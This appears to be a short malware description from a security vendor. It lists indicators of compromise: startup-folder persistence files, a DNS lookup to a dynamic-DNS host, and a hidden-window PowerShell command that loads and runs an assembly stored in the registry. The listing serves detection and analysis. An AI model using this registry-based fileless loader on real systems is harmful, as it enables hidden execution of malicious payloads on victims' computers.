Technical Information
- %APPDATA%\microsoft\windows\start menu\programs\startup\rmnqxxkzpf.lnk
- %HOMEPATH%\appdata\rmnqxxkzpf.vbs
- DNS ASK 30####.hopto.org
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\TtTAvuLwc).MAzwmOzPG).'EntryPoint'.'Invoke'($Null,$Null)' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit [Reflection.Assembly]::'Load'((Get-ItemProperty HKCU:\Software\TtTAvuLwc).MAzwmOzPG).'EntryPoint'.'Invoke'($Null,$Null)